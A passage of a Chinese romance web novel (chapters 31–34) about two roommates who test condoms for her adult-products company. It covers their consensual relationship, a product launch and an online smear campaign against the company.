突如其来的动作把她吓了一跳，林晚星的心脏扑通扑通地跳个不停。 她怔怔地看着陈图森，两人咫尺距离，目光交织，鼻息相缠。 红晕悄悄地爬上了林晚星的脸颊。 这种暧昧的动作为什么会比做.爱还让人脸红发热？ 陈图森也低头回应她的目光：“既然这样，就别再浪费时间了。” 他抱着她走向自己的房间。 林晚星突然清醒过来，蹬着双脚，手伸向自己房间的方向，说：“套。” 套在她的房间。 陈图森双脚顿住，嘴角翘起，说：“那今晚去你房间。”【你现在阅读的是 】 30-40 第31章 第 31 章 那句“我喜欢你”卡在喉…… 陈图森抱着林晚星来到她的房间, 将她放在床上，脱下衣服想压上去，身前却被一股力量顶住。 林晚星突然抬起脚抵在他的腹部上：“慢着。” 刚刚陈图森说“今晚去你房间”时，她还没什么感觉。 但当他们走进她的房间时, 林晚星顿时有了一种, 欢迎来到我的主场的感觉。 她想起自己立下的豪言壮志, 她要把陈图森推倒，把他狠狠地压在身下, 让他向她苦苦求饶！这不—— 机会自己送上门了！ 陈图森不知道林晚星脑子里又有什么鬼点子, 看着她好笑道：“又怎么啦？” 林晚星双手向后撑在床上, 抵在陈图森肚子上的脚掌慢慢向下滑，踩在他的命门上。 “今晚，我要在上面。” 陈图森微怔，须臾, 他神色舒展, 向后退了一小步，笑着说：“好啊。” 他伸出双手, 将林晚星从床上拉了起来, 自己向后一转, 坐在床上。 这么爽快？ 林晚星忍不住心潮澎湃，太激动了，今晚她就要掌握主导权了。 她学着电影上的女主，伸出一根食指, 戳在陈图森的肩膀上，用力地将他往后推：“Baby，今晚你就乖乖就范吧~” 林晚星像个小孩偷穿大人衣服的行为，让陈图森忍不住想笑。手指戳他的力度更像蚍蜉撼大树, 不过他很配合地倒下。 有了上次的经验，林晚星这次动作更加娴熟，脱裤子撑伞一气呵成，跪坐上去。 她回忆着电影里的动作，却总是不得要领，真正的眼睛学会了，身体还是废的。 最后竟是在陈图森的协助下才迈进了第一步。 林晚星瞬间受挫，这人怎么连这个都会？ 该不会是去报班了吧？ 林晚星在电影里看人家做得爽，自己做起来才发现有多累。没多久，她的大腿就酸了。她双手撑在陈图森的腹肌上，想要打退堂鼓：“陈图森，我累了。” 累了？这才哪到哪？ 陈图森当然不会依她，他双手按在她的腰侧，髋部配合运动，带动她：“再坚持一下。” 有了陈图森的协助，林晚星确实省力了些，不过并没有坚持太久，她再次求饶：“陈图森，我真的不行了。” 陈图森不仅没有停下来，反而加快了速度，哄道：“乖，再坚持一下就好了。” 林晚星不知道这一下是多久，只是感觉她的大腿已经彻底软了，她完全是依靠着陈图森施加在她腰侧的力才没有倒下。 等到陈图森终于放开她，她整个人立刻瘫软下来，倒在陈图森的身上。 他们身上都黏腻腻的，但谁也没嫌弃谁。 两个身体交叠在一起，随着彼此的呼吸一起一伏。两颗心脏紧紧挨着，在各自的空间跳动，隔着胸腔寻找着一种共同的频率。 陈图森垂眸看着身上软软的人，心脏也跟着软成一团棉花。 他感受着身上沉甸甸的重量，怀里仿佛躺着一件珍宝，忍不住抬手搂住，心里蓦然涌起一种强烈的感受—— 我的。 林晚星，是属于我的。 他在心里自嘲了一下，真搞笑。 他们什么关系都不是，他怎么就会生出这么一种感觉。 或许是她今晚的主动，让他很惊喜。 他看到了她对他的依赖和渴求。 换作以前，他根本不敢想，他竟然会和自己的女室友做这种事。这是骨子里的道德感不允许的。 他们一开始连房间都不让对方涉足，谁能想到现在却可以在彼此的床上翻滚。 她身上好像有一种特殊的魔力，总是让他一次又一次地打破自己的规则，突破自己的底线。 他不知道外人会如何形容他们这种关系，应该就是炮友吧。 可是，是炮友，那又怎么样？外人怎么看，又怎么样？ 反正，他只会跟她做，她也只会跟他做。 这世上，又有多少情侣夫妻能做到这样呢？ 他们一起住、一起吃饭、一起做.爱，除了不牵手不接吻不睡在一起，他们和普通的情侣又有什么区别呢？ 没有区别。 她不想要男朋友，只想要什么测评搭档，他就当她的测评搭档好了。 关系重要吗？名分重要吗？ 重要吗？也许重要吧，但更重要的难道不是两个人在一起吗？ 他从不后悔答应陪她胡闹，也不后悔没名没份地和她做最私密的事。 如果他不和她做，或许今天她就会躺在另一个男人身上。 取悦她的，就会是另一个男人。 这才是他最无法忍受的事。 谈恋爱也会分手，结婚了也可能离婚，反正什么关系都有可能破裂，那么为什么要在乎这种虚无的关系呢？ 他的双手稍稍用力，将林晚星搂得更紧了。 他早已收获到了最实在最宝贵的东西，远胜过所有的名分和关系。 他低头，在林晚星的额顶吻了一下，温声叫道：“林晚星。” 林晚星浑身无力，闭着眼睛，含糊地应道：“嗯？干嘛，要复盘吗？明天行吗，我好累……” 他胸腔一颤，笑了，本想说出的那句“我喜欢你”突然就卡在喉咙里。 他抱着林晚星翻过身，将她稳稳地放在床上，自己从床上起来，给她盖上被子。 “睡吧。” …… 第二天，林晚星醒来，有一种今夕是何年的恍惚感，昨晚残留的影像慢慢在脑海里回放。她看着看着，脸又埋到了枕头里。 她抬起一只手，忿忿地重重地一下又一下地拍打在床上。 为什么会这样？她明明计划要把陈图森C到跪地求饶的，为什么最后还是被他掌握了主动权。 我！不！甘！心！ 她绝望地从枕头上抬起头来，话说，陈图森真的好狗啊！ 人都躺在那里了，怎么还能把她的力气榨干？ 为什么她躺着的时候就只是躺着？ 苍天啊！大地啊！什么时候才能给我掰回一局？ 她今天走出房间，是扶着墙走的。 一出门，就看到肇事者正闲情逸致地坐在沙发上喝水看手机。 看到她起来，陈图森脸上如沐春风，笑着对她说：“给你准备了一杯热牛奶。” 林晚星的双眼瞥了一眼自己装满牛奶的杯子，这是一杯热牛奶能解决的问题嘛？！ 她白了陈图森一眼，说：“不喝。” 他看着她这熟悉的气呼呼的样子，笑道：“你要增强体质，牛奶可以补充钙和蛋白质，可以改善骨骼健康。” 哼，骨骼健康？ 她没好气地说：“我现在连骨头都没有了。” 陈图森笑道：“哪有这么夸张？” 林晚星：“你试试一晚上做一个小时深蹲，你看看你的大腿还在不在？” 陈图森脸色突然凝重，双眼垂下去沉思道：“根据这段时间的观察，你的体能确实不太好，耐力很差。这样吧，以后一三五不测评的晚上，我带你去跑步。” 以前在南杭那家公司，因为配备了健身房，他每天下班都会在那里待一个小时再回家。来到江城后，反而就松懈下来了。 林晚星差点晕过去：“你杀了我可能比较快。” “那就先通过食疗改善体质。”陈图森拿起杯子递到林晚星面前，说，“把牛奶喝了。” 算了吧，牛奶是无辜的。喝牛奶总比跑步好。 林晚星不和牛奶较劲，捧起杯子喝了下去。 陈图森趁着她喝牛奶的间隙，说道：“昨晚你说累，所以没有复盘，不过我自己想了下……” 林晚星有种不详的预感。 陈图森继续说道：“你昨晚的举动给了我一点启发。我觉得我们之前的测评实践不够严谨。” 林晚星：“不够严谨是什么意思？” “我们每次测评太过随意了。我觉得以后测评应该要制定一套计划和方案，例如本周要测评的是超薄款的产品，那么每一次测评都应该从不同的维度进行。” 林晚星把最后一口牛奶咽下去，问道：“不同维度又是指什么？” 陈图森表情非常认真严肃地解释说：“例如，不同的体位、抽查姿势、冲撞力度、续航时间等。一周测评结束后，你将不同维度测试出来的结果进行汇总。过一段时间，不同品牌不同款式的产品你都测评过了，把表格一拉，每个产品的优劣点就一目了然。” 到时候是不是一目了然林晚星不清楚，但是她现在绝对是口瞪目呆。 说得好有道理哦！这人怎么可以把自己的小心思用这么专业严肃的话语说出来。 翻译过来不就是想多玩一点花样吗？ “说真的，陈图森，你现在去厨房拿把刀杀了我更快！” 陈图森仍是一脸严肃：“我是认真的。” 于公于私，都是认真的。 他记得当初记的笔记，通用模式已经熟练掌握了，是时候进入开发者模式。 林晚星：“我也是认真的！” 这个人真的不是同行派来的卧底嘛？ 为什么他对测评的热情比她都还高！ 第32章 第 32 章 “他们好像谈了。” 林晚星的嘴虽然很硬, 但是心里不得不承认陈图森说的有道理。 他们之前的测评都太过随心所欲了。 在接下来的测评中，她还是听从了陈图森的建议，每周会选定一个品牌的一个款式，从不同维度进度测评, 测评过后, 认真地复盘并将结果填好。 两三个月下来, 她对当前市面上在售产品从外观材质到实际使用过程中的每一项优缺点都一目了然。 因为对产品的了解足够全面，在跟进公司新产品的研发过程中, 她也更清楚应该注重哪些方面。 虽然不想承认, 但是陈图森真的有两下子。 难怪人家年纪轻轻就当上主管, 有这样的头脑他做什么都会成功的。 这段时间，为了从多个维度测评每一款产品，他们可以说什么花样都玩过了。 每次结束后，还要被陈图森拉着起来复盘, 她早已不知道羞耻心为何物了。 两人之间无形的距离在床上被一寸一寸地磨灭, 两颗心也在一次又一次的振动中，摸索到渐趋相同的频率。这些变化, 像空气一样, 看不见摸不着, 却无时无刻不浸润在他们的生活中，就连他们自己都没发现，对方已经像空气一样存在。 平时觉察不到它的存在，但是却必不可少。 周六的早上。 林晚星从房间出来, 直接走向陈图森的房间。 她抬手意思意思地敲了两下门，就直接将手搭在门把上，拧开。 这已经是他们之间的一种默契，能拧开, 就是说明允许进去。 她打开门，看到陈图森坐在椅子上，双手捧着手机，手指快速地移动，似乎在玩手机。 “好饿，下去吃早餐吗？” 陈图森掀起眼皮，看了林晚星一眼，双眼重新落在屏幕上，手机传来一声“Victory”。 他收起手机，站起来说：“就等你。” 两人在楼下吃了一碟肠粉，就去市场买菜。 不知道从什么时候开始，他们已经不再像以前那样分头行动，一个在家搞卫生，一个下去买菜。而是一起下楼吃个早餐，然后一起去市场买菜，下午再一起搞卫生。 明明有更高效的办法，他们却偏偏选了最浪费时间的方法。 当初定下的合租规定，除了不能带人上来之外，其它早已名存实亡。 林晚星走在市场上，她很喜欢这种熙熙攘攘的感觉，不过一下子选择困难症就犯了。 她碰了碰陈图森的手臂，问道：“我们这周吃什么啊？” 陈图森不喜欢思考这些问题，通常林晚星想吃什么他就煮什么：“随便。” 林晚星恼了：“别随便！这世界上有随便这种东西吃吗？” 陈图森皱起眉头，随口说道：“买点东西回去吃火锅吧。” 把食材往锅里扔就行了，很方便。 林晚星一听差点融化了：“这么热的天气吃火锅？” 陈图森：“家里不是有空调？” 林晚星：“但是听着就很热啊。” 陈图森看了眼脚下的水箱，说：“小龙虾？” 林晚星摇摇头：“辣。” 陈图森：“可以煮不辣的。” 林晚星：“它看着太丑了，我没食欲。” 陈图森：“那就蒸条鱼吧。” 林晚星：“腥。” 陈图森无语：“又不用你洗又不用你煮。” 林晚星：“闻着腥。” 陈图森缴械投降：“那你想吃什么？” 林晚星：“我就是想不到才问你啊。” 陈图森无奈，继续张望：“可乐鸡翅怎么样？” 林晚星摇摇头：“没啥技术含量。” 陈图森：“……你现在到底是吃饭还是参加厨艺比赛？” 林晚星扁起嘴：“可是周末就想吃点好的啊！” 工作日为了生存已经只能吃既没营养又不好吃的外卖了，周末还不能吃点好的？ 何况每周末消耗能量这么大，她想吃点好的怎么了？ 陈图森不听，已经在挑鸡翅了，嘴里说道：“我的可乐鸡翅也可以是很好吃的可乐鸡翅。没有菜式是简单的，只有不会烹饪的厨师。” 说着，他瞥了林晚星一眼：“哪像你，上周蒸个水蛋，最后煮了盘什么东西出来？蛋花汤？” 林晚星的脸唰地一下就红了。 上周她在网上看了一个“新手零失败蒸水蛋教程”，博主声称只要跟着她的步骤，就是第一次走进厨房的人都能成功做出一盘漂亮的水蛋。 她信誓旦旦地说今天自己下厨，在厨房捣鼓一天，一揭锅，发现水还是水，蛋还是蛋，两者像是发过誓老死不相往来的样子。 那个美食博主一世英名毁在林晚星一人之手。 陈图森笑得直不起腰。 没想到他还要旧事重提。 林晚星气得踮起脚，双手掐住陈图森的脖子，恶狠狠地说：“笑，我让你笑。你知道得太多了，别怪我！” 陈图森不躲不闪，只是别过头，不让林晚星看到他笑得一脸宠溺的样子。 但是这个画面却落在别人的眼里。 “晚星？” 听到有人叫她，林晚星看了过去。 是她的邻居叶唯。 她的身边还站着一个男人，男人怀里抱着一个小孩，一只手牵着叶唯。 看起来就是叶唯的老公。 林晚星赶紧放开陈图森，跟他们打招呼：“唯唯姐！你们好呀！” 叶唯的眼里带着八卦的心，双眼在两人之间来回移动。 她记得，林晚星身边这个男人，明明是她室友。 可是，刚才两人那动作、那表情分明又不只是室友。 叶唯笑着说：“你们，来买菜？” 林晚星点点头：“嗯啊。这位是你先生？” 叶唯才想起忘了介绍：“嗯，我老公。” 男人很有礼貌地点头打招呼：“你们好，听唯唯说她上次忘了带钥匙还是你们招待她进屋休息的，谢谢你们。” 都那么久的事了，林晚星挥挥手说：“不用客气，邻里之间应该的。” 几人又寒暄了几句就分开了。 叶唯走远了，还不忘回头再看两眼。 她老公好奇地问道：“看什么？” 叶唯抿着嘴笑说：“他们好像谈了。” “他们不是？我还以为他们就是一对的呢。” 叶唯摇摇头：“上次还不是，现在不知道。” …… 周日晚上，陈图森从林晚星身上起来，将手上的东西打了个结，扔垃圾桶后，并没有急着离开。 他穿上裤子，坐在床边，说：“这款延时效果比上周那款要好，不过久了感觉会很干。” 林晚星疲惫地用手背挡住眼睛：“这么快就要复盘了吗？不是明天？” 每次做完，她都感觉又累又脏，赶紧洗完就想睡觉，通常都是等到第二天再复盘。 陈图森眉心挤出一丝苦恼：“明天我出差。” 林晚星倏地睁开眼睛：“出差啊？去几天？” “还不确定，三四天这样吧。”说着，陈图森嘴角翘起，转过身问道，“你好像有点不舍得我？” 林晚星冷哼一声：“你别太自恋。” 可是，刚说完，一种莫名的愁绪就爬上心头。 不知道怎么形容，怪怪的，反正有点不开心，也有点失落。 像是分离焦虑。 林晚星皱了皱眉，该不会真的开始对陈图森感到不舍了吧？ 脑海里冒出这个想法的时候，林晚星忍不住自嘲，真是想太多了，怎么会呢？ 顶多是不习惯家里空旷旷的只有她一个。 她正好可以休息几天，求之不得呢！ …… 周三。 陈图森已经出差三天了。 他说的是去三四天，所以是三天还是四天，她也不知道。 早上起来的时候，林晚星有点想问问陈图森今天回不回。 可是信息都编辑好了，想要发出去时，又觉得怪怪的。 他回不回关她什么事呢？ 她这几天自己一个人在家不很好吗？ 他也没一个信息来问候一下。 现在还要自己主动问他归期，显得她好像还真的很想他一样。 可能，他还会以为自己想那个了。 算了。她一气之下，将编辑好的信息全部删掉。 来到公司，她们部门的主管高菲菲很高兴地告诉她：“晚星，我们的新产品可以进行临床试验了。” 这款新产品已经通过了机械性能、化学性能、生物性能等一系列安全检测，下一步就是进行临床试验。 这是蜜语今年的主打产品，是一款可以提高女性敏感度的安全.套。 蜜语早在去年就曾经发起过一个调研，了解女性在性.爱过程中的痛点，其中一点就是很难体验到愉悦感。 针对这点，她们从去年开始就和专家团队多次开会研讨，讨论是否能设计一款安全.套，既可以保障女性的安全，又可以提高她们的愉悦度。 经过多方研究探讨，联系到国内一个科研团队，他们研发的一款黑科技产品正好可以实现这个构想。 为了得到更真实客观的体验反馈，蜜语这次招募和联系志愿者使用时，并没有告知她们这款产品的主打功能。包装上除了logo外，也没有其它说明和介绍。这样做就是不希望她们先入为主，想要看看她们在不知情的情况下，是否也能够感受到不同。 蜜语的工作人员自然也可以免费参与测评。 林晚星拿着新产品的试用装，心情有些复杂。 虽然说公司的新产品，她确实想要试一试。 但是，她又觉得，她好像用不上。 因为，她就算不用，每次愉悦度几乎都顶格。要是再用上这款产品，她也不知道会怎么样。不敢想。 算了吧，反正陈图森也不在，等他回来再烦也不迟。 晚上下班，她将新产品拿回家，拉开抽屉，顺手放进去。 这时，她看见抽屉里一个久违的盒子，里面装的是她以前用来测评的小玩具。不过，自从和陈图森发展这种关系后，她就再也用不上了。 要不，在陈图森回来之前，先用小玩具试试这款新产品？ 嗯嗯……林晚星觉得对头，提前接触一下，看看效果是否明显。下次实战测评时，也可以有个心理准备。 林晚星兴致勃勃地说干就干！ 这时，房间外，大门被打开。 经过长途奔波的人带着一身的疲惫回到家中。 屋里黑漆漆的，他拎着行李走进来，心里正疑惑，难道林晚星这么晚还没回来？ 这时，他看到林晚星房间关着门，底下的门缝透出亮光。 他嘴角弯起，原来躲在房间里。 然而，下一秒，脸上的表情就僵住了。 熟悉的不可描述的声音，伴随着亮光，从门缝一起透出来。 陈图森比夜色还黑的瞳孔微微收缩。 第33章 第 33 章 “以后都不用做了。”…… 陈图森顾不上把行李拿进房间, 直接就扔在客厅的地上，像一只黑夜中的幽灵一样，缓缓地走到林晚星的房门，里面的声音更加清晰。 他将手搭在门把上, 轻轻拧动, 没锁, 可以拧开。 这是他们这段时间相处下来的默契——门没锁，就代表允许对方进入。 门无声地打开了, 陈图森幽灵般地溜了进去。 紧接着, 仿佛灵魂冲破身体的一声“啊——”在黑暗中回荡, 就连空气都颤了一颤。 林晚星吓得魂都没了，下意识地拉过被子盖在自己下身，缩成一团，眼眶还漾着水光, 喘着气看着眼前的人：“你什么时候回来的？” “刚刚。”陈图森声音疲惫, 在此刻自带着一股危险气息。 林晚星仍惊魂未定：“你，你怎么不提前说一声。” 陈图森冷冷地说：“你也没问。” 三天, 一个信息都没。 本以为她真的那么绝情, 可是现在一看, 好像也不完全是。 他缓缓上前，林晚星却莫名紧张，蹬着双脚后退，直到后背抵在床头上。 陈图森单膝跪在她的床上, 双手撑在她的身侧，俯身和她平视。 林晚星紧张地咽了一口，问道：“你干嘛？” 陈图森的双眼落在盖着被子的地方，扫了一眼, 抬眸看向林晚星，说：“想我的话，可以直说。” 林晚星蹙起眉头，她不就玩个玩具，怎么就变成想他了。 “你，你想太多了。” “是吗？”陈图森猛地掀开她的被子，将东西拿出来，说，“跟它玩，不如跟我玩。我应该比它更懂你。” 林晚星闭了闭眼，缓解异物突然从身体抽出的不适感。 也是为了缓解此刻的羞耻感。 自己用小玩具体验新产品被陈图森当场抓包，还被他以为自己想跟他酿酿酱酱，简直要丢！死！人！了！ 林晚星此刻心情五味杂陈、异常复杂，她解释道：“不是，我是为了……” “啊——” 她话还没说完，双脚就被陈图森拽住往下一拉，躺倒在床上。 “陈图森！”林晚星双手抵住要压上来的陈图森，提醒道，“今天才周三。” 陈图森才不管呢，滚烫的吻落在她的脖子上，说：“补昨天的。” 林晚星皱起眉头，什么？还要补班？ 她再次挣扎，提醒道：“可是，你还没洗澡。” 陈图森根本没有想过停下来，嘴里含含糊糊地说：“做完再洗。” 这个时候谁还想着洗澡啊！ 林晚星认命了。 陈图森脱下衣服，随手从床头柜拿起一个套。 刚要打开，林晚星瞥了一眼，赶紧伸手按住：“别用这个！” 她试过了，而且…… 实在不敢立马再试第二次。 陈图森不解：“为什么？” 林晚星不知道咋解释：“新产品……” 陈图森将林晚星的手甩开：“正是新产品才要试，不是吗？” 林晚星一时竟无言以对：“……” 深夜第二次加班，林晚星又哼哼唧唧地哭了一个多小时。 可是吸血的资本家一点都不感到愧疚。 餍足过后的陈图森，拿过新产品的包装，却只看到品牌名字，除此之外没有任何信息。 他有些好奇：“这是什么款？” 看林晚星的反应，好像还不错。 林晚星此刻没有力，只有气，不想理陈图森，敷衍道：“不知道，盲盒款。” 陈图森知道林晚星在胡说，笑了一下，说：“不错啊，那以后咱们就开盲盒。” 他将包装扔到垃圾桶后，看到刚才被他扔在一旁的玩具，好奇抓起来玩。 “这就是你以前用来测评的小玩具？” 林晚星一听，赶紧从床上弹起来，伸手抢过：“别碰，等下弄脏了。” 陈图森却问道：“这个怎么用？” 林晚星：“你问这个干嘛？又不是给男的用。” 陈图森：“纯属学术探讨。” 看在他的好学精神上，林晚星还是拿过手机，打开一个app，说：“下载app，就可以控制啦。” 陈图森似乎真的很有求知欲，拿过手机，随手操作了一下，林晚星手上的玩具又动了起来。 她有些生气地呵斥道：“都说别玩了！” 陈图森笑着关掉，说：“只是研究下。” 林晚星：“有啥可研究的。”反正他又用不上。 陈图森却仍在认真地钻研这个APP，果然理工男的思想她不懂。 林晚星想洗澡睡觉了，可是陈图森还杵在这里，她只好抬脚踢了踢他，催促道：“你赶紧回自己房间，我要洗澡睡觉了。” 陈图森还沉浸在刚才的玩具上，说：“我在想，这个玩具可不可以记录用户每一次使用的反应数据，例如心率、脉搏等，通过身体的反应判断用户的体验感，结合多次的数据，生成一个最适合用户的模式，这样就不用每一次都自己调整，而且每一次都可以获得最佳的体验。” 他越讲越兴奋：“甚至，还可以和手环连接，记录用户和伴侣做.爱时的身体反应，生成伴侣模式。这样就算其中一方出差，独自一人也可以拥有和伴侣做.爱的体验。你觉得呢？很棒有没有？” 陈图森充满期待地看着林晚星，觉得林晚星一定会夸他一句天才。 林晚星却愣愣地看着他，眨了眨眼，“你出差几天就琢磨这个啊？” …… 蜜语的新产品在用户测试中，反馈的效果相当好。 这种没有事先告知产品的功能效果的做法，也拉满了神秘感和期待感。 测评的博主也不知道这是什么款式，没有花里胡哨的尬吹，只能根据真实体验来介绍。不少网友都对蜜语这款新产品充满了期待。 在新产品正式上市的那一天，积蓄了一段时间的好奇、期待瞬间像开闸的洪水一样爆发。仅上市一周，这款新产品就登顶行业热销榜，而且销量仍在一路攀升。 就在大家已经准备提前庆祝的时候，电商平台的评论区却出现了一条差评，一位消费者称自己在使用了这款产品之后，□□发炎，质疑这款产品的安全性。 起初，客服并没有太过重视，客套地表达了对对方的关心之后，强调自家产品是经过一系列安全性检测，在正式上市前也经过上千人的临床检测，都没有出现过相关的问题，所以完全不用担心。 也许是感觉到自己的诉求没有得到解决，蜜语还想撇清关系，对方一怒之下，直接在全网发帖，声称蜜语这款产品有安全隐患，还发出了自己的就诊记录、诊断书等。 眼下这款产品的关注度正高，这则帖子发出，就像投入了一颗深水炸弹，精准打击。由于安全套这种产品的特殊性，是贴身使用的产品，而且还是用于人体最私密的地方，对安全性的要求本就很高。 甚至可以说，宁愿没那么好用，但绝对不能出现安全问题。 安全套出现安全问题，简直是灭顶之灾了。 因此，这则帖子发出仅一天，舆论立刻反弹。不少购买了这款产品的用户，甚至是之前购买的其它款式的用户都纷纷闹着要退货、赔钱。 蜜语这才重视起来。 高菲菲信誓旦旦地说：“安全绝对没有没问题的，我们都经过这么多轮的测试了，所有检测都通过，怎么会引起发炎呢？” 顾歆神情凝重地看向客服部主管小风，问道：“除了这个顾客之外，还有其她人出现这个情况吗？” 小风摇摇头：“没有了。但是自从她在网上发帖之后，评论的风向就变了，之前大多都是说好用的，现在都在说没感觉、异物感严重、干涩，反正什么不好的都有。” 墙倒众人推，每个人都想踩上一脚。 顾歆眉头皱得紧紧的，问道：“联系上那个顾客了吗？” 小风点点头：“联系了，但是她拒绝沟通，一听到我们是蜜语的，直接挂了电话。我们在平台上给她发信息了，手机也发了短信，但是她一直没有回应，拒绝沟通。” 小优的眉头也跟着皱了起来，猜测道：“会不会是竞争对手故意搞我们啊？” 蜜语最近风头正盛，有人要搞她们一点都不奇怪。而且，她本身就是负责品宣这一块，这种事情见得多了。 顾歆暂时不想做这种猜测，说：“不管是不是，我们首先就是要和对方取得联系，了解她的真实情况，这样我们才好做下一步的回应。”她看向小风，说，“把她的联系方式给我吧，我亲自和她联系。” 小风：“好。” 顾歆看向高菲菲：“虽然我们的产品是经过所有安全检测，不过既然出现了问题，我们就要正视。你和晚星再将产品送去重新进行一次安全检测，一定要盯紧每一个流程，不要出现任何疏漏。” “是。”高菲菲和林晚星接过任务。 “小优，”顾歆继续安排，“你密切注意网上的舆论，耐心解释和引导，但是注意不要和网友发生冲突。” 小优点点头：“嗯，我知道。” “还有，”顾歆又看向小风，“近期如果有退货需求的，只要不过分，都尽量给安排解决。” 小风：“好的，我会传达下去。” 蜜语公司的气氛急转直下，从前段时间的欢乐喜庆，一下子变得愁云密布。每个人都神情凝重，忧心忡忡。 一个新兴的国产成.人.用品品牌要建立起来本就不容易，她们经过几年的努力，好不容易取得一点成就了。可是，如果她们这一关不能熬过去，随时都会像一叶扁舟掀翻在海洋上，尸骨无存。 这段时间，大家每天都忙到很晚才舍得离开。她们是真的很喜欢蜜语，很想帮助蜜语熬过这个难关，甚至周末大家都自愿放弃休息时间，跑来公司跟进工作。 可是，很多事情不是愿意付出时间和努力就能解决的。 舆论愈演愈烈，有人甚至挖出蜜语这家公司员工全是女性，风向甚至从攻击产品、攻击品牌到员工人身攻击。 “难怪有安全问题啦，一群女人能做出什么好产品啊！” “天啊，简直是丢女人的脸，好好的人去做什么这种东西，羞不羞啊！” “这些套她们是不是要自己先试过再拿出来卖的啊，那她们不是每个都很会？” …… 舆论就像洪水，根本挡都挡不住。 林晚星心力交瘁。 她们的检测结果出来，根本没有任何问题。 可是根本没有人愿意听。 人们只愿意相信自己相信的。 她们到底还能做些什么？ 周六晚上，她魂不守舍地从回到家，心里仍然记挂着这件事。 她走进屋子的时候，都没有发现客厅的沙发上坐了一个人。 “林晚星。” “嗯？”林晚星被唤醒，扭头一看，才发现陈图森交叉双臂，一脸不悦地坐在沙发上看着她，“舍得回来了？” “哦……我加班，我们最近都挺忙的……” “忙就可以忘了我们的规定了？” 林晚星疲惫的大脑迟钝地转动了两圈，想起他们已经一个星期都没做了。 她这段时间都在忙着应对这场危机，没时间，没精力，也没心情。 今晚也是。 “我好累，今晚算了吧，行吗？” 这个理由用过太多次了，陈图森以为她又是故意扭捏，不买账：“今晚不做，是想把这周的都加到明天？你明天是不想下床了？” 这几个月来，他们早已习惯了这种直白的对话方式，陈图森没有想太多，这些话几乎是出于惯性说出口的。 换作平时，林晚星大概会揶揄他两句就算了。 可是，她今天看了太多网上那些龌龊的言论，陈图森这句话就像一条导火线，瞬间引爆了林晚星这段时间以来积蓄在体内的所有不安、担忧和委屈。 她当初确实是说，两人各取所需，他帮她测评产品，她满足他的需求。 一直以来，他配合她，她也尽力配合他。毕竟她确实很满意陈图森这个搭档，她不仅测评了产品，自己也爽到了。 可是，此刻他这句话在林晚星听来格外不舒服，好像她就只是他发泄的一个工具似的。 就算她累得半死，就算她没有心情，但还是要按排期做。 她是人，不是跟他一样硬邦邦只会按照程序做事的机器人。 林晚星咬着牙看向陈图森：“你们男人脑子里是不是一整天就只有这点破事？我说了我不想做，今天不做，明天也不做，以后都不用做了！你如果憋不住的话可以去找别的女人！” 说完，她转身走进房间，将所有的怒气都发泄在房门上，“砰”的一声巨响，整个屋子似乎都发出了微微的颤动。 陈图森愣愣地站在原地，仿佛和这个房子一样，还未从余震中反应过来。 第34章 第 34 章 两片温热的嘴唇贴在他的…… 他觉得林晚星应该是发生了什么事。 她很少情绪失控的时候, 上次不对劲，应该是她和妈妈吵架。 那这次又是因为什么？难道又和家里人吵架了？ 他回想着她刚才说的那句话，“以后都不用做了。” 不是以后都不做，也不是以后都不想做。 是不用做了。 不用。 她之所以要找什么测评搭档, 就是为了测评不同的安全套。 如果不再需要测评了…… 辞职？裁员？ 他掏出手机, 输入“蜜语”二字, 铺天盖地的信息在他面前涌现。 …… 第二天早上，林晚星是被食物的香味给薰醒的。 她走出房间的时候, 差点以为自己打开了哆啦A梦的任意门, 穿越到酒楼。 餐桌上摆着满满一桌虾饺、金钱肚、豉汁凤爪、烧卖、萝卜糕…… 陈图森紧张地抬头看向她：“你醒啦？” 林晚星看着这一桌的广式茶点, 有一丝惊怔：“你这是……” 陈图森解释说：“不知道你喜欢吃什么，就把别人推荐的都买一份回来。” 他这是……跟她道歉？ 她想起昨晚的事。 她把陈图森骂了一顿。 他不仅不生气，还一早给她准备这么丰盛的早餐？ 她迟疑地挪着步子走到餐桌旁，手搭在椅背上, 没有立马拉开。 陈图森更加紧张：“都不喜欢啊？” “不是……”林晚星抿了抿唇, “对不起啊，我昨晚……” “昨晚是我不好。”陈图森赶紧抢着说道, “我当时不知道……” 林晚星抬眸看向陈图森：“那你现在, 知道了？” 陈图森挪开目光：“刚好刷到。” 林晚星暗暗感慨这大数据推送还挺会掐时间的。 虽然他看到了, 但林晚星觉得自己还是要解释下，说：“我们公司的新产品遇到点问题，所以我们最近是真的很忙。” “也很烦。”林晚星补充道，“所以……我最近是真的没心情……” “我知道。”陈图森赶紧说道, “其实我也不是那么……” 重欲。 感觉到气氛有些凝重，林晚星觉得，这是她的工作烦恼，没必要让陈图森帮她分担。于是她换上一副轻松的口吻, 看着桌上的早餐，说：“这么多，我都能吃吗？” “能，都能吃。”陈图森唇角轻轻扯动，像是微笑溢出的样子，说，“本身就是特意给你准备的，都给你。” 林晚星咧嘴一笑：“我哪吃得了这么多，当然一起吃啦。” 陈图森求之不得。 这么看来，林晚星是不生气了？ 他在林晚星对面坐下，夹起一个虾饺，一边吃一边抬眼看向林晚星。 她刚才还装作若无其事的样子，可是一坐下吃东西，整个脸又垮了下来。 不是说吃到好吃的东西，身体会分泌多巴胺，会变得开心一点吗？ 怎么没有效果？ 难道这些都不好吃，她都不喜欢？ 陈图森忍不住皱起眉头。 “其实……”陈图森斟酌着开口说道，“网上的人就这样，随波逐流，很多都只是人云亦云。他们甚至都没有使用过这产品。反正我自己的感觉，你们公司的产品是我们用过的所有品牌中，至少能排前三的。” 好胜心莫名其妙地被激发，林晚星抬头问：“第一是谁？” 陈图森：“……” “我说的，排前三，就是第一阶梯的意思。第一阶梯有三款产品，排名不分先后。” 看到陈图森紧张的样子，林晚星忍不住“噗嗤”一笑，她知道陈图森是想安慰她，感激道：“谢谢你。” 不过，笑容只维持了很短暂的时间，她的脸又沉了下去。 陈图森说的道理她也知道，可是这又有什么用呢？ “可是不管他们是谁，出于什么目的，这样的舆论确实足以击垮一个品牌。” 这才是大家最忧心的事。 “会不会是有竞争对手恶意抹黑，你们和当事人联系上了吗？你们有将产品的资质证书、检测结果发出来澄清吗？” 这些可能性她们都猜测过，这些措施她们也都做过了。 林晚星笑了笑：“发了，没用。” 陈图森意识到自己好像在说废话，失望地垂下眼帘。 他突然在想，如果他和其他人一样，如果他不认识林晚星，只是单纯使用过这家产品或者甚至连用都没用过，对于这件事，他会怎么看？ 也许会跟大部分人一样，抱着怀疑的态度吧—— 检测结果不能说明什么，都是她们自己安排的人。 哪怕他自己使用过，但是没有出现任何异常，也会觉得或许现在还没反应而已。 这应该是大多数人的想法。 